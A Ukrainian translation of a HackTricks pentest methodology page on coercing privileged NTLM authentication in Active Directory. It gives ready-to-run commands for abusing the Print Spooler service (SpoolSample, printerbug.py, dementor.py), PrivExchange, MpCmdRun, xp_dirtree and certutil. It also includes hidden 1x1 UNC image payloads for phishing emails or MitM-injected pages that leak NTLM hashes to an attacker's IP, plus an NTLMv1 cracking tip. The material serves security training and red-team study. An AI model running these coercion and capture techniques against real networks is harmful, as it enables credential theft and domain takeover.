hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

10 KiB
Raw Blame History

Примусова NTLM Привілейована Аутентифікація

{% hint style="success" %} Вивчайте та практикуйте AWS Хакінг:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Хакінг: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks
{% endhint %}

SharpSystemTriggers

SharpSystemTriggers - це колекція тригерів віддаленої аутентифікації, написаних на C# з використанням компілятора MIDL для уникнення залежностей від сторонніх розробників.

Зловживання Службою Спулера

Якщо служба Print Spooler увімкнена, ви можете використовувати деякі вже відомі облікові дані AD, щоб запросити у серверу друку контролера домену оновлення нових друкованих завдань і просто сказати йому надіслати сповіщення на якусь систему.
Зверніть увагу, що коли принтер надсилає сповіщення на довільні системи, йому потрібно аутентифікуватися проти цієї системи. Тому зловмисник може змусити службу Print Spooler аутентифікуватися проти довільної системи, і служба використає обліковий запис комп'ютера в цій аутентифікації.

Пошук Windows Серверів у домені

Використовуючи PowerShell, отримайте список Windows машин. Сервери зазвичай є пріоритетними, тому зосередимося на них:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Finding Spooler services listening

Використовуючи трохи модифікований @mysmartlogin's (Vincent Le Toux's) SpoolerScanner, перевірте, чи слухає служба Spooler:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Ви також можете використовувати rpcdump.py на Linux і шукати протокол MS-RPRN.

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Запросіть службу аутентифікацію проти довільного хоста

Ви можете скомпілювати SpoolSample звідси.

SpoolSample.exe <TARGET> <RESPONDERIP>

або використовуйте 3xocyte's dementor.py або printerbug.py, якщо ви на Linux

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Поєднання з неконтрольованою делегацією

Якщо зловмисник вже скомпрометував комп'ютер з неконтрольованою делегацією, зловмисник може змусити принтер аутентифікуватися на цьому комп'ютері. Через неконтрольовану делегацію TGT облікового запису комп'ютера принтера буде збережено в пам'яті комп'ютера з неконтрольованою делегацією. Оскільки зловмисник вже скомпрометував цей хост, він зможе отримати цей квиток і зловживати ним (Pass the Ticket).

RCP Примусова аутентифікація

{% embed url="https://github.com/p0dalirius/Coercer" %}

PrivExchange

Атака PrivExchange є наслідком вразливості, виявленої в функції PushSubscription Exchange Server. Ця функція дозволяє серверу Exchange бути примушеним будь-яким доменним користувачем з поштовою скринькою аутентифікуватися на будь-якому хості, наданому клієнтом, через HTTP.

За замовчуванням служба Exchange працює як SYSTEM і має надмірні привілеї (зокрема, вона має привілеї WriteDacl на домен до 2019 Cumulative Update). Цю вразливість можна експлуатувати для активації пересилання інформації до LDAP і, відповідно, витягнення бази даних домену NTDS. У випадках, коли пересилання до LDAP неможливе, цю вразливість все ще можна використовувати для пересилання та аутентифікації на інших хостах у домені. Успішна експлуатація цієї атаки надає негайний доступ до адміністратора домену з будь-яким аутентифікованим обліковим записом домену.

Всередині Windows

Якщо ви вже всередині машини Windows, ви можете змусити Windows підключитися до сервера, використовуючи привілейовані облікові записи за допомогою:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

Або використовуйте цю іншу техніку: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

Можливо використовувати certutil.exe lolbin (підписаний Microsoft бінарний файл) для примусу NTLM аутентифікації:

certutil.exe -syncwithWU  \\127.0.0.1\share

HTML injection

Via email

Якщо ви знаєте адресу електронної пошти користувача, який входить у систему на машині, яку ви хочете скомпрометувати, ви можете просто надіслати йому електронний лист з зображенням 1x1 таким як

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

і коли він його відкриє, він спробує аутентифікуватися.

MitM

Якщо ви можете виконати атаку MitM на комп'ютер і вставити HTML на сторінку, яку він буде переглядати, ви можете спробувати вставити зображення, подібне до наступного, на сторінку:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Злом NTLMv1

Якщо ви можете захопити виклики NTLMv1, читайте тут, як їх зламати.
Пам'ятайте, що для зламу NTLMv1 вам потрібно встановити виклик Responder на "1122334455667788"

{% hint style="success" %} Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks
{% endhint %}